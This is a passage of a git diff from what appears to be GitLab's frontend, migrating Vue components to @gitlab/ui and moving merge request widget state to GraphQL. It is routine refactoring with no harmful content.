<div class="mr-widget-body-controls media space-children">
<span class="btn-group">
- <gl-deprecated-button
- size="sm"
+ <gl-button
+ size="medium"
+ category="primary"
class="qa-merge-button accept-merge-request"
:variant="mergeButtonVariant"
:disabled="isMergeButtonDisabled"
:loading="isMakingRequest"
@click="handleMergeButtonClick(isAutoMergeAvailable)"
+ >{{ mergeButtonText }}</gl-button
>
- {{ mergeButtonText }}
- </gl-deprecated-button>
<button
v-if="shouldShowMergeImmediatelyDropdown"
:disabled="isMergeButtonDisabled"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
index 3cf7dc3c4d1..6608381f348 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
@@ -1,11 +1,11 @@
<script>
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
import { __ } from '~/locale';
export default {
components: {
- Icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -62,7 +62,7 @@ export default {
rel="noopener noreferrer nofollow"
data-container="body"
>
- <icon name="question" />
+ <gl-icon name="question" />
</a>
</div>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
index 44668170fe4..61cc950f058 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
@@ -55,13 +55,15 @@ export default {
},
methods: {
removeWipMutation() {
+ const { mergeRequestQueryVariables } = this;
+
this.isMakingRequest = true;
this.$apollo
.mutate({
mutation: removeWipMutation,
variables: {
- ...this.mergeRequestQueryVariables,
+ ...mergeRequestQueryVariables,
wip: false,
},
update(
@@ -83,14 +85,14 @@ export default {
const data = store.readQuery({
query: getStateQuery,
- variables: this.mergeRequestQueryVariables,
+ variables: mergeRequestQueryVariables,
});
data.project.mergeRequest.workInProgress = workInProgress;
data.project.mergeRequest.title = title;
store.writeQuery({
query: getStateQuery,
data,
- variables: this.mergeRequestQueryVariables,
+ variables: mergeRequestQueryVariables,
});
},
optimisticResponse: {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue b/app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue
index c7d9453a5c9..4de41dd5887 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue
@@ -1,5 +1,5 @@
<script>
-import { GlSkeletonLoading, GlSprintf } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading, GlSprintf } from '@gitlab/ui';
import { n__ } from '~/locale';
import axios from '~/lib/utils/axios_utils';
import MrWidgetExpanableSection from '../mr_widget_expandable_section.vue';
diff --git a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
index 36a883869f1..43ce748b41d 100644
--- a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
@@ -7,6 +7,7 @@ import stateMaps from 'ee_else_ce/vue_merge_request_widget/stores/state_maps';
import { sprintf, s__, __ } from '~/locale';
import Project from '~/pages/projects/project';
import SmartInterval from '~/smart_interval';
+import { secondsToMilliseconds } from '~/lib/utils/datetime_utility';
import { deprecatedCreateFlash as createFlash } from '../flash';
import mergeRequestQueryVariablesMixin from './mixins/merge_request_query_variables';
import Loading from './components/loading.vue';
@@ -96,12 +97,11 @@ export default {
variables() {
return this.mergeRequestQueryVariables;
},
- result({
- data: {
- project: { mergeRequest },
- },
- }) {
- this.mr.setGraphqlData(mergeRequest);
+ result({ data: { project } }) {
+ if (project) {
+ this.mr.setGraphqlData(project);
+ this.loading = false;
+ }
},
},
},
@@ -120,9 +120,17 @@ export default {
mr: store,
state: store && store.state,
service: store && this.createService(store),
+ loading: true,
};
},
computed: {
+ isLoaded() {
+ if (window.gon?.features?.mergeRequestWidgetGraphql) {
+ return !this.loading;
+ }
+
+ return this.mr;
+ },
shouldRenderApprovals() {
return this.mr.state !== 'nothingToMerge';
},
@@ -195,7 +203,10 @@ export default {
},
mounted() {
MRWidgetService.fetchInitialData()
- .then(({ data }) => this.initWidget(data))
+ .then(({ data, headers }) => {
+ this.startingPollInterval = Number(headers['POLL-INTERVAL']);
+ this.initWidget(data);
+ })
.catch(() =>
createFlash(__('Unable to load the merge request widget. Try reloading the page.')),
);
@@ -285,9 +296,10 @@ export default {
initPolling() {
this.pollingInterval = new SmartInterval({
callback: this.checkStatus,
- startingInterval: 10 * 1000,
- maxInterval: 240 * 1000,
- hiddenInterval: window.gon?.features?.widgetVisibilityPolling && 360 * 1000,
+ startingInterval: this.startingPollInterval,
+ maxInterval: this.startingPollInterval + secondsToMilliseconds(4 * 60),
+ hiddenInterval:
+ window.gon?.features?.widgetVisibilityPolling && secondsToMilliseconds(6 * 60),
incrementByFactorOf: 2,
});
},
@@ -409,7 +421,7 @@ export default {
};
</script>
<template>
- <div v-if="mr" class="mr-state-widget gl-mt-3">
+ <div v-if="isLoaded" class="mr-state-widget gl-mt-3">
<mr-widget-header :mr="mr" />
<mr-widget-suggest-pipeline
v-if="shouldSuggestPipelines"
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
index 488397e7735..44fc1cc7f23 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
@@ -1,7 +1,27 @@
query getState($projectPath: ID!, $iid: String!) {
project(fullPath: $projectPath) {
+ archived
+ onlyAllowMergeIfPipelineSucceeds
+
mergeRequest(iid: $iid) {
- title
+ autoMergeEnabled
+ commitCount
+ conflicts
+ diffHeadSha
+ mergeError
+ mergeStatus
+ mergeableDiscussionsState
+ pipelines(first: 1) {
+ nodes {
+ status
+ }
+ }
+ shouldBeRebased
+ sourceBranchExists
+ targetBranchExists
+ userPermissions {
+ canMerge
+ }
workInProgress
}
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/services/mr_widget_service.js b/app/assets/javascripts/vue_merge_request_widget/services/mr_widget_service.js
index ee9e3cc6d08..2ad15f231bb 100644
--- a/app/assets/javascripts/vue_merge_request_widget/services/mr_widget_service.js
+++ b/app/assets/javascripts/vue_merge_request_widget/services/mr_widget_service.js
@@ -1,3 +1,4 @@
+import { normalizeHeaders } from '~/lib/utils/common_utils';
import axios from '../../lib/utils/axios_utils';
export default class MRWidgetService {
@@ -82,6 +83,11 @@ export default class MRWidgetService {
return Promise.all([
axios.get(window.gl.mrWidgetData.merge_request_cached_widget_path),
axios.get(window.gl.mrWidgetData.merge_request_widget_path),
- ]).then(axios.spread((res, cachedRes) => ({ data: Object.assign(res.data, cachedRes.data) })));
+ ]).then(
+ axios.spread((res, cachedRes) => ({
+ data: Object.assign(res.data, cachedRes.data),
+ headers: normalizeHeaders(res.headers),
+ })),
+ );
}
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/getters.js b/app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/getters.js
index 5215d210e1c..15d67ea18ea 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/getters.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/artifacts_list/getters.js
@@ -1,6 +1,5 @@
import { s__, n__ } from '~/locale';
-// eslint-disable-next-line import/prefer-default-export
export const title = state => {
if (state.isLoading) {
return s__('BuildArtifacts|Loading artifacts');
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js b/app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js
index 3bd512c89bf..9d3f4eb01ed 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/get_state_key.js
@@ -17,7 +17,7 @@ export default function deviseState() {
return stateKey.pipelineFailed;
} else if (this.workInProgress) {
return stateKey.workInProgress;
- } else if (this.hasMergeableDiscussionsState) {
+ } else if (this.hasMergeableDiscussionsState && !this.autoMergeEnabled) {
return stateKey.unresolvedDiscussions;
} else if (this.isPipelineBlocked) {
return stateKey.pipelineBlocked;
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
index 8c98ba1b023..846b1c453a1 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
@@ -43,15 +43,14 @@ export default class MergeRequestStore {
this.conflictsDocsPath = data.conflicts_docs_path;
this.mergeRequestPipelinesHelpPath = data.merge_request_pipelines_docs_path;
this.mergeTrainWhenPipelineSucceedsDocsPath = data.merge_train_when_pipeline_succeeds_docs_path;
- this.mergeStatus = data.merge_status;
this.commitMessage = data.default_merge_commit_message;
- this.shortMergeCommitSha = data.short_merge_commit_sha;
- this.mergeCommitSha = data.merge_commit_sha;
+ this.shortMergeCommitSha = data.short_merged_commit_sha;
+ this.mergeCommitSha = data.merged_commit_sha;
this.commitMessageWithDescription = data.default_merge_commit_message_with_description;
- this.commitsCount = data.commits_count;
this.divergedCommitsCount = data.diverged_commits_count;
this.pipeline = data.pipeline || {};
this.pipelineCoverageDelta = data.pipeline_coverage_delta;
+ this.buildsWithCoverage = data.builds_with_coverage;
this.mergePipeline = data.merge_pipeline || {};
this.deployments = this.deployments || data.deployments || [];
this.postMergeDeployments = this.postMergeDeployments || [];
@@ -60,9 +59,6 @@ export default class MergeRequestStore {
this.rebaseInProgress = data.rebase_in_progress;
this.mergeRequestDiffsPath = data.diffs_path;
this.approvalsWidgetType = data.approvals_widget_type;
- this.projectArchived = data.project_archived;
- this.branchMissing = data.branch_missing;
- this.hasConflicts = data.has_conflicts;
if (data.issues_links) {
const links = data.issues_links;
@@ -80,25 +76,18 @@ export default class MergeRequestStore {
this.setToAutoMergeBy = MergeRequestStore.formatUserObject(data.merge_user || {});
this.mergeUserId = data.merge_user_id;
this.currentUserId = gon.current_user_id;
- this.mergeError = data.merge_error;
this.sourceBranchRemoved = !data.source_branch_exists;
this.shouldRemoveSourceBranch = data.remove_source_branch || false;
- this.onlyAllowMergeIfPipelineSucceeds = data.only_allow_merge_if_pipeline_succeeds || false;
- this.autoMergeEnabled = Boolean(data.auto_merge_enabled);
this.autoMergeStrategy = data.auto_merge_strategy;
this.availableAutoMergeStrategies = data.available_auto_merge_strategies;
this.preferredAutoMergeStrategy = MergeRequestStore.getPreferredAutoMergeStrategy(
this.availableAutoMergeStrategies,
);
this.ffOnlyEnabled = data.ff_only_enabled;
- this.shouldBeRebased = Boolean(data.should_be_rebased);
this.isRemovingSourceBranch = this.isRemovingSourceBranch || false;
this.mergeRequestState = data.state;
this.isOpen = this.mergeRequestState === 'opened';
- this.hasMergeableDiscussionsState = data.mergeable_discussions_state === false;
- this.isSHAMismatch = this.sha !== data.diff_head_sha;
this.latestSHA = data.diff_head_sha;
- this.canBeMerged = data.can_be_merged || false;
this.isMergeAllowed = data.mergeable || false;
this.mergeOngoing = data.merge_ongoing;
this.allowCollaboration = data.allow_collaboration;
@@ -108,13 +97,13 @@ export default class MergeRequestStore {
// CI related
this.hasCI = data.has_ci;
this.ciStatus = data.ci_status;
- this.isPipelineFailed = this.ciStatus === 'failed' || this.ciStatus === 'canceled';
this.isPipelinePassing =
this.ciStatus === 'success' || this.ciStatus === 'success-with-warnings';
this.isPipelineSkipped = this.ciStatus === 'skipped';
this.pipelineDetailedStatus = pipelineStatus;
this.isPipelineActive = data.pipeline ? data.pipeline.active : false;
- this.isPipelineBlocked = pipelineStatus ? pipelineStatus.group === 'manual' : false;
+ this.isPipelineBlocked =
+ data.only_allow_merge_if_pipeline_succeeds && pipelineStatus?.group === 'manual';
this.ciStatusFaviconPath = pipelineStatus ? pipelineStatus.favicon : null;
this.terraformReportsPath = data.terraform_reports_path;
this.testResultsPath = data.test_reports_path;
@@ -133,11 +122,24 @@ export default class MergeRequestStore {
this.removeWIPPath = data.remove_wip_path;
this.createIssueToResolveDiscussionsPath = data.create_issue_to_resolve_discussions_path;
this.mergePath = data.merge_path;
- this.canMerge = Boolean(data.merge_path);
- this.mergeCommitPath = data.merge_commit_path;
+ this.mergeCommitPath = data.merged_commit_path;
this.canPushToSourceBranch = data.can_push_to_source_branch;
- if (data.work_in_progress !== undefined) {
+ if (!window.gon?.features?.mergeRequestWidgetGraphql) {
+ this.autoMergeEnabled = Boolean(data.auto_merge_enabled);
+ this.canBeMerged = data.can_be_merged || false;
+ this.canMerge = Boolean(data.merge_path);
+ this.commitsCount = data.commits_count;
+ this.branchMissing = data.branch_missing;
+ this.hasConflicts = data.has_conflicts;
+ this.hasMergeableDiscussionsState = data.mergeable_discussions_state === false;
+ this.isPipelineFailed = this.ciStatus === 'failed' || this.ciStatus === 'canceled';
+ this.mergeError = data.merge_error;
+ this.mergeStatus = data.merge_status;
+ this.onlyAllowMergeIfPipelineSucceeds = data.only_allow_merge_if_pipeline_succeeds || false;
+ this.projectArchived = data.project_archived;
+ this.isSHAMismatch = this.sha !== data.diff_head_sha;
+ this.shouldBeRebased = Boolean(data.should_be_rebased);
this.workInProgress = data.work_in_progress;
}
@@ -154,8 +156,27 @@ export default class MergeRequestStore {
this.setState();
}
- setGraphqlData(data) {
- this.workInProgress = data.workInProgress;
+ setGraphqlData(project) {
+ const { mergeRequest } = project;
+ const pipeline = mergeRequest.pipelines?.nodes?.[0];
+
+ this.projectArchived = project.archived;
+ this.onlyAllowMergeIfPipelineSucceeds = project.onlyAllowMergeIfPipelineSucceeds;
+
+ this.autoMergeEnabled = mergeRequest.autoMergeEnabled;
+ this.canBeMerged = mergeRequest.mergeStatus === 'can_be_merged';
+ this.canMerge = mergeRequest.userPermissions.canMerge;
+ this.ciStatus = pipeline?.status.toLowerCase();
+ this.commitsCount = mergeRequest.commitCount;
+ this.branchMissing = !mergeRequest.sourceBranchExists || !mergeRequest.targetBranchExists;
+ this.hasConflicts = mergeRequest.conflicts;
+ this.hasMergeableDiscussionsState = mergeRequest.mergeableDiscussionsState === false;
+ this.mergeError = mergeRequest.mergeError;
+ this.mergeStatus = mergeRequest.mergeStatus;
+ this.isPipelineFailed = this.ciStatus === 'failed' || this.ciStatus === 'canceled';
+ this.isSHAMismatch = this.sha !== mergeRequest.diffHeadSha;
+ this.shouldBeRebased = mergeRequest.shouldBeRebased;
+ this.workInProgress = mergeRequest.workInProgress;
this.setState();
}
diff --git a/app/assets/javascripts/vue_shared/components/actions_button.vue b/app/assets/javascripts/vue_shared/components/actions_button.vue
new file mode 100644
index 00000000000..f333ab49ead
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/actions_button.vue
@@ -0,0 +1,90 @@
+<script>
+import {
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownDivider,
+ GlLink,
+ GlTooltipDirective,
+} from '@gitlab/ui';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownDivider,
+ GlLink,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ actions: {
+ type: Array,
+ required: true,
+ },
+ selectedKey: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ computed: {
+ hasMultipleActions() {
+ return this.actions.length > 1;
+ },
+ selectedAction() {
+ return this.actions.find(x => x.key === this.selectedKey) || this.actions[0];
+ },
+ },
+ methods: {
+ handleItemClick(action) {
+ this.$emit('select', action.key);
+ },
+ handleClick(action, evt) {
+ return action.handle?.(evt);
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown
+ v-if="hasMultipleActions"
+ v-gl-tooltip="selectedAction.tooltip"
+ class="gl-button-deprecated-adapter"
+ :text="selectedAction.text"
+ :split-href="selectedAction.href"
+ split
+ @click="handleClick(selectedAction, $event)"
+ >
+ <template slot="button-content">
+ <span class="gl-new-dropdown-button-text" v-bind="selectedAction.attrs">
+ {{ selectedAction.text }}
+ </span>
+ </template>
+ <template v-for="(action, index) in actions">
+ <gl-dropdown-item
+ :key="action.key"
+ class="gl-dropdown-item-deprecated-adapter"
+ :is-check-item="true"
+ :is-checked="action.key === selectedAction.key"
+ :secondary-text="action.secondaryText"
+ :data-testid="`action_${action.key}`"
+ @click="handleItemClick(action)"
+ >
+ {{ action.text }}
+ </gl-dropdown-item>
+ <gl-dropdown-divider v-if="index != actions.length - 1" :key="action.key + '_divider'" />
+ </template>
+ </gl-dropdown>
+ <gl-link
+ v-else-if="selectedAction"
+ v-gl-tooltip="selectedAction.tooltip"
+ v-bind="selectedAction.attrs"
+ class="btn"
+ :href="selectedAction.href"
+ @click="handleClick(selectedAction, $event)"
+ >
+ {{ selectedAction.text }}
+ </gl-link>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/alert_details_table.vue b/app/assets/javascripts/vue_shared/components/alert_details_table.vue
new file mode 100644
index 00000000000..c94e784c01e
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/alert_details_table.vue
@@ -0,0 +1,70 @@
+<script>
+import { GlLoadingIcon, GlTable } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import {
+ capitalizeFirstCharacter,
+ convertToSentenceCase,
+ splitCamelCase,
+} from '~/lib/utils/text_utility';
+
+const thClass = 'gl-bg-transparent! gl-border-1! gl-border-b-solid! gl-border-gray-200!';
+const tdClass = 'gl-border-gray-100! gl-p-5!';
+
+export default {
+ components: {
+ GlLoadingIcon,
+ GlTable,
+ },
+ props: {
+ alert: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ loading: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ fields: [
+ {
+ key: 'fieldName',
+ label: s__('AlertManagement|Key'),
+ thClass,
+ tdClass,
+ formatter: string => capitalizeFirstCharacter(convertToSentenceCase(splitCamelCase(string))),
+ },
+ {
+ key: 'value',
+ thClass: `${thClass} w-60p`,
+ tdClass,
+ label: s__('AlertManagement|Value'),
+ },
+ ],
+ computed: {
+ items() {
+ if (!this.alert) {
+ return [];
+ }
+ return Object.entries(this.alert).map(([fieldName, value]) => ({
+ fieldName,
+ value,
+ }));
+ },
+ },
+};
+</script>
+<template>
+ <gl-table
+ class="alert-management-details-table"
+ :busy="loading"
+ :empty-text="s__('AlertManagement|No alert data to display.')"
+ :items="items"
+ :fields="$options.fields"
+ show-empty
+ >
+ <template #table-busy>
+ <gl-loading-icon size="lg" color="dark" class="gl-mt-5" />
+ </template>
+ </gl-table>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/awards_list.vue b/app/assets/javascripts/vue_shared/components/awards_list.vue
index c0a42e08dee..e1f54b62223 100644
--- a/app/assets/javascripts/vue_shared/components/awards_list.vue
+++ b/app/assets/javascripts/vue_shared/components/awards_list.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { groupBy } from 'lodash';
import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
diff --git a/app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue b/app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue
index 52ce05f0d99..d0f5570db6b 100644
--- a/app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/blob_viewers/rich_viewer.vue
@@ -1,4 +1,5 @@
<script>
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import MarkdownFieldView from '~/vue_shared/components/markdown/field_view.vue';
import ViewerMixin from './mixins';
import { handleBlobRichViewer } from '~/blob/viewer';
@@ -7,6 +8,9 @@ export default {
components: {
MarkdownFieldView,
},
+ directives: {
+ SafeHtml,
+ },
mixins: [ViewerMixin],
mounted() {
handleBlobRichViewer(this.$refs.content, this.type);
@@ -14,5 +18,5 @@ export default {
};
</script>
<template>
- <markdown-field-view ref="content" v-html="content" />
+ <markdown-field-view ref="content" v-safe-html="content" />
</template>
diff --git a/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue b/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
index 55a6267f9ff..bbe72a2b122 100644
--- a/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlIcon } from '@gitlab/ui';
import ViewerMixin from './mixins';
import { HIGHLIGHT_CLASS_NAME } from './constants';
diff --git a/app/assets/javascripts/vue_shared/components/changed_file_icon.vue b/app/assets/javascripts/vue_shared/components/changed_file_icon.vue
index 7431b7e9ed4..f28e49df56e 100644
--- a/app/assets/javascripts/vue_shared/components/changed_file_icon.vue
+++ b/app/assets/javascripts/vue_shared/components/changed_file_icon.vue
@@ -1,12 +1,11 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import getCommitIconMap from '~/ide/commit_icon';
import { __ } from '~/locale';
export default {
components: {
- Icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -81,7 +80,7 @@ export default {
:class="{ 'ml-auto': isCentered }"
class="file-changed-icon d-inline-block"
>
- <icon v-if="showIcon" :name="changedIcon" :size="size" :class="changedIconClass" />
+ <gl-icon v-if="showIcon" :name="changedIcon" :size="size" :class="changedIconClass" />
</span>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/ci_badge_link.vue b/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
index 0e0bb8735b4..d7af3b3298e 100644
--- a/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_badge_link.vue
@@ -39,6 +39,11 @@ export default {
required: false,
default: true,
},
+ iconClasses: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
computed: {
cssClass() {
@@ -55,7 +60,7 @@ export default {
:class="cssClass"
:title="!showText ? status.text : ''"
>
- <ci-icon :status="status" />
+ <ci-icon :status="status" :css-classes="iconClasses" />
<template v-if="showText">
{{ status.text }}
diff --git a/app/assets/javascripts/vue_shared/components/ci_icon.vue b/app/assets/javascripts/vue_shared/components/ci_icon.vue
index 890dbe86c0d..ff665d9cc58 100644
--- a/app/assets/javascripts/vue_shared/components/ci_icon.vue
+++ b/app/assets/javascripts/vue_shared/components/ci_icon.vue
@@ -1,5 +1,5 @@
<script>
-import Icon from './icon.vue';
+import { GlIcon } from '@gitlab/ui';
/**
* Renders CI icon based on API response shared between all places where it is used.
@@ -28,7 +28,7 @@ const validSizes = [8, 12, 16, 18, 24, 32, 48, 72];
export default {
components: {
- Icon,
+ GlIcon,
},
props: {
status: {
@@ -66,5 +66,5 @@ export default {
};
</script>
<template>
- <span :class="cssClass"> <icon :name="icon" :size="size" :class="cssClasses" /> </span>
+ <span :class="cssClass"> <gl-icon :name="icon" :size="size" :class="cssClasses" /> </span>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/clone_dropdown.vue b/app/assets/javascripts/vue_shared/components/clone_dropdown.vue
index 6f5ea8dcbee..5c6bd5892ae 100644
--- a/app/assets/javascripts/vue_shared/components/clone_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/components/clone_dropdown.vue
@@ -1,7 +1,7 @@
<script>
import {
- GlNewDropdown,
- GlNewDropdownHeader,
+ GlDropdown,
+ GlDropdownSectionHeader,
GlFormInputGroup,
GlButton,
GlTooltipDirective,
@@ -11,8 +11,8 @@ import { getHTTPProtocol } from '~/lib/utils/url_utility';
export default {
components: {
- GlNewDropdown,
- GlNewDropdownHeader,
+ GlDropdown,
+ GlDropdownSectionHeader,
GlFormInputGroup,
GlButton,
},
@@ -45,10 +45,10 @@ export default {
};
</script>
<template>
- <gl-new-dropdown right :text="$options.labels.defaultLabel" category="primary" variant="info">
+ <gl-dropdown right :text="$options.labels.defaultLabel" category="primary" variant="info">
<div class="pb-2 mx-1">
<template v-if="sshLink">
- <gl-new-dropdown-header>{{ $options.labels.ssh }}</gl-new-dropdown-header>
+ <gl-dropdown-section-header>{{ $options.labels.ssh }}</gl-dropdown-section-header>
<div class="mx-3">
<gl-form-input-group :value="sshLink" readonly select-on-click>
@@ -67,7 +67,7 @@ export default {
</template>
<template v-if="httpLink">
- <gl-new-dropdown-header>{{ httpLabel }}</gl-new-dropdown-header>
+ <gl-dropdown-section-header>{{ httpLabel }}</gl-dropdown-section-header>
<div class="mx-3">
<gl-form-input-group :value="httpLink" readonly select-on-click>
@@ -85,5 +85,5 @@ export default {
</div>
</template>
</div>
- </gl-new-dropdown>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/commit.vue b/app/assets/javascripts/vue_shared/components/commit.vue
index 23bea6c28b4..c1c8fb3a6e2 100644
--- a/app/assets/javascripts/vue_shared/components/commit.vue
+++ b/app/assets/javascripts/vue_shared/components/commit.vue
@@ -1,10 +1,9 @@
<script>
import { isString, isEmpty } from 'lodash';
-import { GlTooltipDirective, GlLink } from '@gitlab/ui';
+import { GlTooltipDirective, GlLink, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import UserAvatarLink from './user_avatar/user_avatar_link.vue';
-import Icon from './icon.vue';
export default {
directives: {
@@ -12,14 +11,14 @@ export default {
},
components: {
UserAvatarLink,
- Icon,
+ GlIcon,
GlLink,
TooltipOnTruncate,
},
props: {
/**
* Indicates the existence of a tag.
- * Used to render the correct icon, if true will render `fa-tag` icon,
+ * Used to render the correct GlIcon, if true will render `tag` GlIcon,
* if false will render a svg sprite fork icon
*/
tag: {
@@ -141,9 +140,9 @@ export default {
<div class="branch-commit cgray">
<template v-if="shouldShowRefInfo">
<div class="icon-container">
- <icon v-if="tag" name="tag" />
- <icon v-else-if="mergeRequestRef" name="git-merge" />
- <icon v-else name="branch" />
+ <gl-icon v-if="tag" name="tag" />
+ <gl-icon v-else-if="mergeRequestRef" name="git-merge" />
+ <gl-icon v-else name="branch" />
</div>
<gl-link
@@ -163,7 +162,7 @@ export default {
>{{ commitRef.name }}</gl-link
>
</template>
- <icon name="commit" class="commit-icon js-commit-icon" />
+ <gl-icon name="commit" class="commit-icon js-commit-icon" />
<gl-link :href="commitUrl" class="commit-sha mr-0">{{ shortSha }}</gl-link>
diff --git a/app/assets/javascripts/vue_shared/components/content_viewer/viewers/download_viewer.vue b/app/assets/javascripts/vue_shared/components/content_viewer/viewers/download_viewer.vue
index 3bf629d4acb..f9d3d76e7f5 100644
--- a/app/assets/javascripts/vue_shared/components/content_viewer/viewers/download_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/content_viewer/viewers/download_viewer.vue
@@ -1,12 +1,11 @@
<script>
-import { GlLink } from '@gitlab/ui';
-import Icon from '../../icon.vue';
+import { GlLink, GlIcon } from '@gitlab/ui';
import { numberToHumanSize } from '../../../../lib/utils/number_utils';
export default {
components: {
GlLink,
- Icon,
+ GlIcon,
},
props: {
path: {
@@ -52,7 +51,7 @@ export default {
:download="fileName"
target="_blank"
>
- <icon :size="16" name="download" class="float-left gl-mr-3" />
+ <gl-icon :size="16" name="download" class="float-left gl-mr-3" />
{{ __('Download') }}
</gl-link>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue b/app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue
index f9b678e33cd..6bb05e59f6b 100644
--- a/app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/content_viewer/viewers/markdown_viewer.vue
@@ -1,8 +1,9 @@
<script>
+/* eslint-disable vue/no-v-html */
import $ from 'jquery';
import '~/behaviors/markdown/render_gfm';
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import { forEach, escape } from 'lodash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
diff --git a/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue b/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
index 3b6b0a91e97..a7e6438a935 100644
--- a/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
+++ b/app/assets/javascripts/vue_shared/components/date_time_picker/date_time_picker.vue
@@ -1,11 +1,5 @@
<script>
-import {
- GlIcon,
- GlButton,
- GlDeprecatedDropdown,
- GlDeprecatedDropdownItem,
- GlFormGroup,
-} from '@gitlab/ui';
+import { GlIcon, GlButton, GlDropdown, GlDropdownItem, GlFormGroup } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import { convertToFixedRange, isEqualTimeRanges, findTimeRange } from '~/lib/utils/datetime_range';
@@ -29,8 +23,8 @@ export default {
components: {
GlIcon,
GlButton,
- GlDeprecatedDropdown,
- GlDeprecatedDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
GlFormGroup,
TooltipOnTruncate,
DateTimePickerInput,
@@ -212,7 +206,7 @@ export default {
placement="top"
class="d-inline-block"
>
- <gl-deprecated-dropdown
+ <gl-dropdown
ref="dropdown"
:text="timeWindowText"
